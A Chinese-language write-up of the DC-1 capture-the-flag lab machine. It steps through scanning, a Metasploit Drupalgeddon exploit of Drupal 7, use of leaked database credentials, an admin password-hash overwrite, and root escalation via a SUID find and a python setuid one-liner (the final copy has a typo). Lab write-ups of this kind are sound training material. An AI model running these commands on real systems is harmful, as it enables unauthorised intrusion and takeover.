主机DC-1
主机DC-1
kali和DC-1均为NAT模式,192.168.222.0/24网段 处于同一内网
DC1主机渗透
探测存活主机-IP扫描
arp-scan -l -I eth0
-l 扫描本地网络
-I 指定网络接口
或
nmap -sn 192.168.222.0/24 自己的也扫描了
-sn 会执行一下操作判断目标主机是否在线
- ICMP Echo请求(Ping):Nmap发送ICMP Echo请求(Ping)到目标主机,并等待回复
- TCP SYN Ping:发送TCP SYN数据包到目标常见端口(默认80和443),如果返回TCP SYN-ACK包,则认为主机是在线的
- TCP ACK Ping:发送TCP ACk 数据包到目标常见端口,通常用来绕过一些只对未建立连接的SYN包进行过滤的防火墙
- ARP请求(仅限局域网):在局域网中,Nmap使用ARP请求来确定主机是否存货。这种方法在局域网中是最准确和快速的
端口扫描
nmap -p- -T4 192.168.222.130
加指纹识别服务nmap -p- -sV -T4 192.168.222.130
插件,中间件识别
火狐插件---Wappalyzer
或
whatweb http://192.168.222.130
- 系统: Debian Linux
- 中间件: Apache/2.2.22 (Debian) (from server string)
- cms : Drupal 7
- PHP Version : 5.4.45-0+deb7u14
目录扫描
或
dirsearch -u
找洞
漏洞数据库 https://www.exploit-db.com/
或
searchsploit Drupal 7
漏洞利用
Drupal上面已经给出meatsploit验证过的漏洞,所以我们去msf进行尝试。
1.进入msf
msfconsole2.查找相应模块
search Drupalgeddon
use 0 加载第0个模块
show options
set RHOSTS 192.168.222.130 添加目标主机
run 执行已加载的模块
sysinfo :查看DC-1基本信息
shell获取shell
生成一个交互式终端的Bash shell
python -c "import pty;pty.spawn('/bin/bash')"
- import pty: 导入 Python 的pty模块,该模块用于控制伪终端。
- pty.spawn('/bin/bash'): 这行代码使用pty.spawn()函数来启动一个/bin/bash进程,也就是 Bash Shell。
flag1
直接ls查看文件,就可以看到flag1.txt
再使用cat查看
cat flag1.txt
给了提示,接下来查看配置文件
flag2
实在不确定配置文件格式,可以去百度搜一下
find ./ -name "*settings*"
cat ./sites/default/settings.php
暴力破解和字典攻击并不是获取访问权限的唯一途径(你肯定需要访问权限)。使用这些凭据,你可以做什么?
这段文字暗示,不仅仅通过暴力破解和字典攻击可以获取访问权限。它提到了一种可能性,即获取了访问凭据(可能是用户名和密码)之后,你可以利用这些凭据进行其他的操作
flag3
前面给了用户密码,登进去数据库看看
mysql -u dbuser -pR0ck3t
查看数据库show databases;
切换数据库use drupaldb
寻找用户信息
show tables;
select * from users;
反转行列select * from users\G;
可能文件中有加密文件,出去找一下
find ./ -name "*password*"
找到文件后大概看一下,简单运行一下看看有什么东西
./scripts/password-hash.sh
测试一下,设置一下密码
./scripts/password-hash.sh "123"
返回了哈希值,记住!我们拿进数据库更新一下admin密码
update users set pass='$S$DGpBVvgZ0e5WUUwr1mPCGxLl58N750.qt6XxCRWlCT2hlMLkJEwR' where uid=1;
更新完成后,我们访问192.168.222.130进行登录
得到flag3
flag4
根据提示的passwd,我们可以想到/etc/passwd
cat /etc/passwd
cd /home/flag4
ls
cat flag4.txt
flag5
根据提示我们进入/root,ls查看文件
cd /root
发现我们没有权限需要提权!!!
如何提权???
1.直接SUID提权
全系统查找所有带 SUID 权限的普通文件
find / -perm -u=s -type f 2>/dev/null
- -perm -u=s: 这个部分是find命令的选项之一。
- -perm选项用于指定要搜索的文件权限。
- -u=s表示要查找具有 SUID 权限的文件。
- SUID 权限位是文件所有者权限中的一个,它允许执行文件以文件所有者的权限运行。
- -type f: 这部分限定了搜索结果只包括文件(而不包括目录)。
- 2>/dev/null: 这部分将标准错误输出重定向到/dev/null,从而不会显示权限错误或访问拒绝的信息。
2.打开网站(总结好了哪些文件可以进行提权)
-----------
find ./ -name "flag4.txt" -exec "/bin/bash" -p \;
- -exec:find 的核心参数,对找到的每个文件执行后续命
- /bin/bash -p:- -p(privileged):强制 bash 以「特权模式」运行
- \;:结束-exec命令的标记(必须转义,避免被 Shell 解析)。
此时已经可以查看flag5了,但是并不是真正拿到root
此时是root权限,但是你不是root用户,提权到一半。你还不能修改密码,此时你的uid不是0
3.进一步提权
python -c "import os;os.setuid(0);os.setgid(0);os.system('/bin/bash')"
ls
cat thefinalflag.txt
---------------------------------
1.ls -al:显示所有文件(包括隐藏文件)以长格式输出
2.当你看到文件被设置了 SUID 权限(-rwsr-xr-x),或当前低权限用户能以高权限执行 Python,可通过此命令提权。
python -c "import os;os.setuid(0);od.setgid(0);os.system('/bin/bash')"




































浙公网安备 33010602011771号